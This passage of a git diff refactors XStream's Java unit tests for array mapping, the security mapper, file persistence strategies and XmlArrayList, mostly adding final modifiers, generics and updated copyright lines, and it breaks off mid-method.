DefaultMapper(new ClassLoaderReference( - new CompositeClassLoader()))); + mapper = new ArrayMapper(new DefaultMapper(new ClassLoaderReference(new CompositeClassLoader()))); } public void testAppendsArraySuffixOnArrays() { - Class arrayCls = new String[0].getClass(); + final Class arrayCls = new String[0].getClass(); assertEquals("java.lang.String-array", mapper.serializedClass(arrayCls)); } public void testAppendsMultipleArraySuffixesOnMultidimensionalArrays() { - Class arrayCls = new String[0][0][0].getClass(); + final Class arrayCls = new String[0][0][0].getClass(); assertEquals("java.lang.String-array-array-array", mapper.serializedClass(arrayCls)); } public void testCreatesInstancesOfArrays() { - Class arrayType = mapper.realClass("java.lang.String-array"); + final Class arrayType = mapper.realClass("java.lang.String-array"); assertTrue(arrayType.isArray()); assertEquals(String.class, arrayType.getComponentType()); } @@ -53,7 +54,7 @@ public void testSupportsAllPrimitiveArrayTypes() { } public void testCreatesInstancesOfMultidimensionalArrays() { - Class arrayType = mapper.realClass("java.lang.String-array-array-array"); + final Class arrayType = mapper.realClass("java.lang.String-array-array-array"); assertTrue(arrayType.isArray()); assertTrue(arrayType.getComponentType().isArray()); assertTrue(arrayType.getComponentType().getComponentType().isArray()); @@ -61,7 +62,7 @@ public void testCreatesInstancesOfMultidimensionalArrays() { assertFalse(arrayType.getComponentType().getComponentType().getComponentType().isArray()); assertEquals(String.class, arrayType.getComponentType().getComponentType().getComponentType()); - Class primitiveArrayType = mapper.realClass("int-array-array-array"); + final Class primitiveArrayType = mapper.realClass("int-array-array-array"); assertTrue(primitiveArrayType.isArray()); assertTrue(primitiveArrayType.getComponentType().isArray()); assertTrue(primitiveArrayType.getComponentType().getComponentType().isArray()); diff --git a/xstream/src/test/com/thoughtworks/xstream/mapper/SecurityMapperTest.java b/xstream/src/test/com/thoughtworks/xstream/mapper/SecurityMapperTest.java index ebde756ed..59543a9e2 100644 --- a/xstream/src/test/com/thoughtworks/xstream/mapper/SecurityMapperTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/mapper/SecurityMapperTest.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2014 XStream Committers. + * Copyright (C) 2014, 2018, 2022 XStream Committers. * All rights reserved. * * Created on 09. January 2014 by Joerg Schaible @@ -29,7 +29,7 @@ /** * Tests the {@link SecurityMapper} and the {@link TypePermission} implementations. - * + * * @author Jörg Schaible */ public class SecurityMapperTest extends TestCase { @@ -44,7 +44,7 @@ protected void setUp() throws Exception { classMap = new HashMap>(); mapper = new SecurityMapper(new MapperWrapper(null) { @Override - public Class realClass(final String elementName) { + public Class realClass(final String elementName) { return classMap.get(elementName); } }); @@ -181,7 +181,7 @@ class Foo$_0 {} class Foo$_1 {} final Class anonymous = new Object() {}.getClass(); register(String.class, JVM.class, QuickWriter.class, Foo$_0.class, Foo$_1.class, anonymous); - mapper.addPermission(new WildcardTypePermission("**.*_0", "**.core.*", "**.SecurityMapperTest$?")); + mapper.addPermission(new WildcardTypePermission(true, "**.*_0", "**.core.*", "**.SecurityMapperTest$?")); assertSame(JVM.class, mapper.realClass(JVM.class.getName())); assertSame(Foo$_0.class, mapper.realClass(Foo$_0.class.getName())); assertSame(anonymous, mapper.realClass(anonymous.getName())); diff --git a/xstream/src/test/com/thoughtworks/xstream/persistence/FilePersistenceStrategyTest.java b/xstream/src/test/com/thoughtworks/xstream/persistence/FilePersistenceStrategyTest.java index 648b4feec..f8d79cd7e 100644 --- a/xstream/src/test/com/thoughtworks/xstream/persistence/FilePersistenceStrategyTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/persistence/FilePersistenceStrategyTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2008, 2009 XStream Committers. + * Copyright (C) 2008, 2009, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 21. November 2008 by Joerg Schaible */ package com.thoughtworks.xstream.persistence; @@ -28,6 +28,7 @@ public class FilePersistenceStrategyTest extends TestCase { private final File baseDir = new File("target/tmp"); + @Override protected void setUp() throws Exception { super.setUp(); if (baseDir.exists()) { @@ -36,20 +37,20 @@ protected void setUp() throws Exception { baseDir.mkdirs(); } + @Override protected void tearDown() throws Exception { super.tearDown(); clear(baseDir); } - private void clear(File dir) { - File[] files = dir.listFiles(); - for (int i = 0; i < files.length; i++ ) { - if (files[i].isFile()) { - boolean deleted = files[i].delete(); + private void clear(final File dir) { + final File[] files = dir.listFiles(); + for (final File file : files) { + if (file.isFile()) { + final boolean deleted = file.delete(); if (!deleted) { - throw new RuntimeException( - "Unable to continue testing: unable to remove file " - + files[i].getAbsolutePath()); + throw new RuntimeException("Unable to continue testing: unable to remove file " + + file.getAbsolutePath()); } } } @@ -57,70 +58,70 @@ private void clear(File dir) { } public void testConcatenatesXmlExtensionWhileGettingAFilename() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); assertEquals("string@guilherme.xml", strategy.getName("guilherme")); } public void testConcatenatesXmlExtensionWhileExtractingAKey() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); assertEquals("guilherme", strategy.extractKey("string@guilherme.xml")); } public void testEscapesNonAcceptableCharacterWhileExtractingAKey() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); assertEquals("../guilherme", strategy.extractKey("string@..%2Fguilherme.xml")); } public void testEscapesNonAcceptableCharacterWhileGettingAFilename() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); assertEquals("string@..%2Fguilherme.xml", strategy.getName("../guilherme")); } public void testEscapesUTF8NonAcceptableCharacterWhileGettingAFilename() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); assertEquals("string@\u5377guilherme.xml", strategy.getName("\u5377guilherme")); } public void testEscapesUTF8NonAcceptableCharacterWhileExtractingAKey() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); assertEquals("\u5377guilherme", strategy.extractKey("string@\u5377guilherme.xml")); } public void testEscapesPercentageWhileGettingAFilename() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); assertEquals("string@%25guilherme.xml", strategy.getName("%guilherme")); } public void testEscapesPercentageWhileExtractingAKey() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); assertEquals("%guilherme", strategy.extractKey("string@%25guilherme.xml")); } public void testEscapesNullKeyWhileGettingAFileName() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); assertEquals("null@null.xml", strategy.getName(null)); } public void testRestoresTypeOfKey() throws MalformedURLException { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); - assertEquals(new URL("http://xstream.codehaus.org"), strategy - .extractKey("url@http%3A%2F%2Fxstream.codehaus.org.xml")); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + assertEquals(new URL("http://xstream.codehaus.org"), strategy.extractKey( + "url@http%3A%2F%2Fxstream.codehaus.org.xml")); } public void testEscapesNullKeyWhileExtractingKey() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); assertNull(strategy.extractKey("null@null.xml")); } public void testWritesASingleFile() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); strategy.put("guilherme", "aCuteString"); - File file = new File(baseDir, "string@guilherme.xml"); + final File file = new File(baseDir, "string@guilherme.xml"); assertTrue(file.isFile()); } public void testWritesTwoFiles() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); strategy.put("guilherme", "aCuteString"); strategy.put("silveira", "anotherCuteString"); assertTrue(new File(baseDir, "string@guilherme.xml").isFile()); @@ -128,112 +129,112 @@ public void testWritesTwoFiles() { } public void testRemovesAWrittenFile() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); strategy.put("guilherme", "aCuteString"); assertTrue(new File(baseDir, "string@guilherme.xml").isFile()); - String aCuteString = (String)strategy.remove("guilherme"); + final String aCuteString = strategy.remove("guilherme"); assertEquals("aCuteString", aCuteString); assertFalse(new File(baseDir, "string@guilherme.xml").exists()); } public void testRemovesAnInvalidFile() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); - String aCuteString = (String)strategy.remove("guilherme"); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final String aCuteString = strategy.remove("guilherme"); assertNull(aCuteString); } public void testHasZeroLength() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); assertEquals(0, strategy.size()); } public void testHasOneItem() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); strategy.put("guilherme", "aCuteString"); assertEquals(1, strategy.size()); } public void testHasTwoItems() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); strategy.put("guilherme", "aCuteString"); strategy.put("silveira", "anotherCuteString"); assertEquals(2, strategy.size()); } public void testIsNotEmpty() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); strategy.put("guilherme", "aCuteString"); assertEquals("Map should not be empty", 1, strategy.size()); } public void testDoesNotContainKey() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); assertFalse(strategy.containsKey("guilherme")); } public void testContainsKey() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); strategy.put("guilherme", "aCuteString"); assertTrue(strategy.containsKey("guilherme")); } public void testGetsAFile() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); strategy.put("guilherme", "aCuteString"); assertTrue(new File(baseDir, "string@guilherme.xml").isFile()); - String aCuteString = (String)strategy.get("guilherme"); + final String aCuteString = strategy.get("guilherme"); assertEquals("aCuteString", aCuteString); } public void testGetsAnInvalidFile() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); - String aCuteString = (String)strategy.get("guilherme"); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final String aCuteString = strategy.get("guilherme"); assertNull(aCuteString); } public void testRewritesASingleFile() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); strategy.put("guilherme", "aCuteString"); - File file = new File(baseDir, "string@guilherme.xml"); + final File file = new File(baseDir, "string@guilherme.xml"); assertTrue(file.isFile()); strategy.put("guilherme", "anotherCuteString"); assertEquals("anotherCuteString", strategy.get("guilherme")); } public void testIsEmpty() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); assertEquals("Map should be empty", 0, strategy.size()); } public void testContainsAllItems() { - Map original = new HashMap(); + final Map original = new HashMap(); original.put("guilherme", "aCuteString"); original.put("silveira", "anotherCuteString"); - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); strategy.put("guilherme", "aCuteString"); strategy.put("silveira", "anotherCuteString"); - for (Iterator iter = original.keySet().iterator(); iter.hasNext();) { - assertTrue(strategy.containsKey(iter.next())); + for (final String key : original.keySet()) { + assertTrue(strategy.containsKey(key)); } } public void testIteratesOverEntryAndChecksItsKeyWithAnotherInstance() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); strategy.put("guilherme", "aCuteString"); strategy.put("silveira", "anotherCuteString"); - FilePersistenceStrategy built = new FilePersistenceStrategy(baseDir); - for (Iterator iter = strategy.iterator(); iter.hasNext();) { - Map.Entry entry = (Map.Entry)iter.next(); + final FilePersistenceStrategy built = new FilePersistenceStrategy(baseDir); + for (final Iterator> iter = strategy.iterator(); iter.hasNext();) { + final Map.Entry entry = iter.next(); assertTrue(built.containsKey(entry.getKey())); } } public void testRemovesAnItemThroughIteration() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); strategy.put("guilherme", "aCuteString"); strategy.put("silveira", "anotherCuteString"); - for (Iterator iter = strategy.iterator(); iter.hasNext();) { - Map.Entry entry = (Map.Entry)iter.next(); + for (final Iterator> iter = strategy.iterator(); iter.hasNext();) { + final Map.Entry entry = iter.next(); if (entry.getKey().equals("guilherme")) { iter.remove(); } @@ -242,14 +243,14 @@ public void testRemovesAnItemThroughIteration() { } public void testRewritesAFile() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); strategy.put("guilherme", "aCuteString"); strategy.put("guilherme", "anotherCuteString"); assertEquals("anotherCuteString", strategy.get("guilherme")); } public void testPutReturnsTheOldValueWhenRewritingAFile() { - FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); + final FilePersistenceStrategy strategy = new FilePersistenceStrategy(baseDir); strategy.put("guilherme", "aCuteString"); assertEquals("aCuteString", strategy.put("guilherme", "anotherCuteString")); } diff --git a/xstream/src/test/com/thoughtworks/xstream/persistence/FileStreamStrategyTest.java b/xstream/src/test/com/thoughtworks/xstream/persistence/FileStreamStrategyTest.java index 9f7f46d5a..14380dbc0 100644 --- a/xstream/src/test/com/thoughtworks/xstream/persistence/FileStreamStrategyTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/persistence/FileStreamStrategyTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2007, 2008, 2009 XStream Committers. + * Copyright (C) 2007, 2008, 2009, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 17. June 2006 by Guilherme Silveira */ package com.thoughtworks.xstream.persistence; @@ -26,6 +26,7 @@ public class FileStreamStrategyTest extends TestCase { private final File baseDir = new File("target/tmp"); + @Override protected void setUp() throws Exception { super.setUp(); if (baseDir.exists()) { @@ -34,20 +35,20 @@ protected void setUp() throws Exception { baseDir.mkdirs(); } + @Override protected void tearDown() throws Exception { super.tearDown(); clear(baseDir); } - private void clear(File dir) { - File[] files = dir.listFiles(); - for (int i = 0; i < files.length; i++ ) { - if (files[i].isFile()) { - boolean deleted = files[i].delete(); + private void clear(final File dir) { + final File[] files = dir.listFiles(); + for (final File file : files) { + if (file.isFile()) { + final boolean deleted = file.delete(); if (!deleted) { - throw new RuntimeException( - "Unable to continue testing: unable to remove file " - + files[i].getAbsolutePath()); + throw new RuntimeException("Unable to continue testing: unable to remove file " + + file.getAbsolutePath()); } } } @@ -55,64 +56,64 @@ private void clear(File dir) { } public void testConcatenatesXmlExtensionWhileGettingAFilename() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); assertEquals("guilherme.xml", strategy.getName("guilherme")); } public void testConcatenatesXmlExtensionWhileExtractingAKey() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); assertEquals("guilherme", strategy.extractKey("guilherme.xml")); } public void testEscapesNonAcceptableCharacterWhileExtractingAKey() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); assertEquals("../guilherme", strategy.extractKey("_2e__2e__2f_guilherme.xml")); } public void testEscapesNonAcceptableCharacterWhileGettingAFilename() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); assertEquals("_2e__2e__2f_guilherme.xml", strategy.getName("../guilherme")); } public void testEscapesUTF8NonAcceptableCharacterWhileGettingAFilename() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); assertEquals("_5377_guilherme.xml", strategy.getName("\u5377guilherme")); } public void testEscapesUTF8NonAcceptableCharacterWhileExtractingAKey() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); assertEquals("\u5377guilherme", strategy.extractKey("_5377_guilherme.xml")); } public void testEscapesUnderlineWhileGettingAFilename() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); assertEquals("__guilherme.xml", strategy.getName("_guilherme")); } public void testEscapesUnderlineWhileExtractingAKey() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); assertEquals("_guilherme", strategy.extractKey("__guilherme.xml")); } public void testEscapesNullKeyWhileGettingAFileName() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); assertEquals("_0_.xml", strategy.getName(null)); } public void testEscapesNullKeyWhileExtractingKey() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); assertNull(strategy.extractKey("_0_.xml")); } public void testWritesASingleFile() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); strategy.put("guilherme", "aCuteString"); - File file = new File(baseDir, "guilherme.xml"); + final File file = new File(baseDir, "guilherme.xml"); assertTrue(file.exists()); } public void testWritesTwoFiles() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); strategy.put("guilherme", "aCuteString"); strategy.put("silveira", "anotherCuteString"); assertTrue(new File(baseDir, "guilherme.xml").exists()); @@ -120,113 +121,113 @@ public void testWritesTwoFiles() { } public void testRemovesAWrittenFile() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); strategy.put("guilherme", "aCuteString"); assertTrue(new File(baseDir, "guilherme.xml").exists()); - String aCuteString = (String)strategy.remove("guilherme"); + final String aCuteString = strategy.remove("guilherme"); assertEquals("aCuteString", aCuteString); assertFalse(new File(baseDir, "guilherme.xml").exists()); } public void testRemovesAnInvalidFile() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); - String aCuteString = (String)strategy.remove("guilherme"); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final String aCuteString = strategy.remove("guilherme"); assertNull(aCuteString); } public void testHasZeroLength() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); assertEquals(0, strategy.size()); } public void testHasOneItem() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); strategy.put("guilherme", "aCuteString"); assertEquals(1, strategy.size()); } public void testHasTwoItems() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); strategy.put("guilherme", "aCuteString"); strategy.put("silveira", "anotherCuteString"); assertEquals(2, strategy.size()); } public void testIsNotEmpty() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); strategy.put("guilherme", "aCuteString"); assertEquals("Map should not be empty", 1, strategy.size()); } public void testDoesNotContainKey() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); assertFalse(strategy.containsKey("guilherme")); } public void testContainsKey() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); strategy.put("guilherme", "aCuteString"); assertTrue(strategy.containsKey("guilherme")); } public void testGetsAFile() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); strategy.put("guilherme", "aCuteString"); assertTrue(new File(baseDir, "guilherme.xml").exists()); - String aCuteString = (String)strategy.get("guilherme"); + final String aCuteString = strategy.get("guilherme"); assertEquals("aCuteString", aCuteString); } public void testGetsAnInvalidFile() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); - String aCuteString = (String)strategy.get("guilherme"); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final String aCuteString = strategy.get("guilherme"); assertNull(aCuteString); } public void testRewritesASingleFile() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); strategy.put("guilherme", "aCuteString"); - File file = new File(baseDir, "guilherme.xml"); + final File file = new File(baseDir, "guilherme.xml"); assertTrue(file.exists()); strategy.put("guilherme", "anotherCuteString"); assertEquals("anotherCuteString", strategy.get("guilherme")); } public void testIsEmpty() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); assertEquals("Map should be empty", 0, strategy.size()); } public void testContainsAllItems() { - Map original = new HashMap(); + final Map original = new HashMap(); original.put("guilherme", "aCuteString"); original.put("silveira", "anotherCuteString"); - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); strategy.put("guilherme", "aCuteString"); strategy.put("silveira", "anotherCuteString"); - for (Iterator iter = original.keySet().iterator(); iter.hasNext();) { - assertTrue(strategy.containsKey(iter.next())); + for (final String key : original.keySet()) { + assertTrue(strategy.containsKey(key)); } } // actually an acceptance test? public void testIteratesOverEntryAndChecksItsKeyWithAnotherInstance() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); strategy.put("guilherme", "aCuteString"); strategy.put("silveira", "anotherCuteString"); - FileStreamStrategy built = new FileStreamStrategy(baseDir); - for (Iterator iter = strategy.iterator(); iter.hasNext();) { - Map.Entry entry = (Map.Entry)iter.next(); + final FileStreamStrategy built = new FileStreamStrategy(baseDir); + for (final Iterator> iter = strategy.iterator(); iter.hasNext();) { + final Map.Entry entry = iter.next(); assertTrue(built.containsKey(entry.getKey())); } } public void testRemovesAnItemThroughIteration() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); strategy.put("guilherme", "aCuteString"); strategy.put("silveira", "anotherCuteString"); - for (Iterator iter = strategy.iterator(); iter.hasNext();) { - Map.Entry entry = (Map.Entry)iter.next(); + for (final Iterator> iter = strategy.iterator(); iter.hasNext();) { + final Map.Entry entry = iter.next(); if (entry.getKey().equals("guilherme")) { iter.remove(); } @@ -235,14 +236,14 @@ public void testRemovesAnItemThroughIteration() { } public void testRewritesAFile() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); strategy.put("guilherme", "aCuteString"); strategy.put("guilherme", "anotherCuteString"); assertEquals("anotherCuteString", strategy.get("guilherme")); } public void testPutReturnsTheOldValueWhenRewritingAFile() { - FileStreamStrategy strategy = new FileStreamStrategy(baseDir); + final FileStreamStrategy strategy = new FileStreamStrategy(baseDir); strategy.put("guilherme", "aCuteString"); assertEquals("aCuteString", strategy.put("guilherme", "anotherCuteString")); } diff --git a/xstream/src/test/com/thoughtworks/xstream/persistence/XmlArrayListTest.java b/xstream/src/test/com/thoughtworks/xstream/persistence/XmlArrayListTest.java index 1bf5d5784..15d95d2fc 100644 --- a/xstream/src/test/com/thoughtworks/xstream/persistence/XmlArrayListTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/persistence/XmlArrayListTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2007, 2008, 2009 XStream Committers. + * Copyright (C) 2007, 2008, 2009, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 06. July 2006 by Guilherme Silveira */ package com.thoughtworks.xstream.persistence; @@ -21,263 +21,268 @@ import junit.framework.TestCase; + public class XmlArrayListTest extends TestCase { - private MockedStrategy strategy; - - public void setUp() throws Exception { - super.setUp(); - strategy = new MockedStrategy(); - } - - public void testWritesASingleObject() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - assertTrue(strategy.map.containsValue("guilherme")); - } - - public void testWritesASingleObjectInANegativePosition() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - try { - xmlList.add(-1, "guilherme"); - fail(); - } catch (IndexOutOfBoundsException ex) { - // ok - } - } - - public void testWritesASingleObjectInFirstPosition() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - assertTrue(strategy.map.containsKey(new Integer(0))); - } - - public void testWritesTwoObjects() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - xmlList.add("silveira"); - assertTrue(strategy.map.containsValue("guilherme")); - assertTrue(strategy.map.containsValue("silveira")); - assertTrue(strategy.map.containsKey(new Integer(0))); - assertTrue(strategy.map.containsKey(new Integer(1))); - } - - public void testWritesTwoObjectsGuaranteesItsEnumerationOrder() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - xmlList.add("silveira"); - assertEquals("guilherme", strategy.map.get(new Integer(0))); - assertEquals("silveira", strategy.map.get(new Integer(1))); - } - - public void testWritesASecondObjectInAPositionHigherThanTheListsSize() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - try { - xmlList.add("silveira"); - xmlList.add(3, "guilherme"); - fail(); - } catch (IndexOutOfBoundsException ex) { - // ok - } - } - - public void testRemovesAWrittenObject() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - assertTrue(xmlList.remove("guilherme")); - assertFalse(strategy.map.containsValue("guilherme")); - } - - public void testRemovesAWrittenObjectImplyingInAChangeInTheList() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - boolean changed = xmlList.remove("guilherme"); - assertTrue(changed); - } - - public void testRemovesAnInvalidObjectWithoutAffectingTheList() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - boolean removed = xmlList.remove("guilherme"); - assertFalse(removed); - } - - public void testHasZeroLengthWhenInstantiated() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - assertEquals(0, xmlList.size()); - } - - public void testHasOneItem() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - assertEquals(1, xmlList.size()); - } - - public void testHasTwoItems() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - xmlList.add("silveira"); - assertEquals(2, xmlList.size()); - } - - public void testIsNotEmpty() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - assertFalse(xmlList.isEmpty()); - } - - public void testDoesNotContainKey() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - assertFalse(xmlList.contains("guilherme")); - } - - public void testContainsKey() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - assertTrue(xmlList.contains("guilherme")); - } - - public void testGetsAnObject() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - Object onlyValue = xmlList.iterator().next(); - assertEquals("guilherme", onlyValue); - } - - public void testGetsTheFirstObject() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - assertEquals("guilherme", xmlList.get(0)); - } - - public void testGetsTheSecondObject() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - xmlList.add("silveira"); - assertEquals("silveira", xmlList.get(1)); - } - - public void testInsertsAnObjectInTheMiddleOfTheList() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - xmlList.add("silveira"); - xmlList.add(1, "de azevedo"); - assertEquals("guilherme", xmlList.get(0)); - assertEquals("de azevedo", xmlList.get(1)); - assertEquals("silveira", xmlList.get(2)); - } - - public void testIteratingGuaranteesItsEnumeration() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - xmlList.add("silveira"); - Iterator it = xmlList.iterator(); - assertEquals("guilherme", it.next()); - assertEquals("silveira", it.next()); - } - - public void testIsEmpty() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - assertTrue(xmlList.isEmpty()); - } - - public void testClearsItsObjects() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - xmlList.add("silveira"); - xmlList.clear(); - assertEquals(0, xmlList.size()); - } - - public void 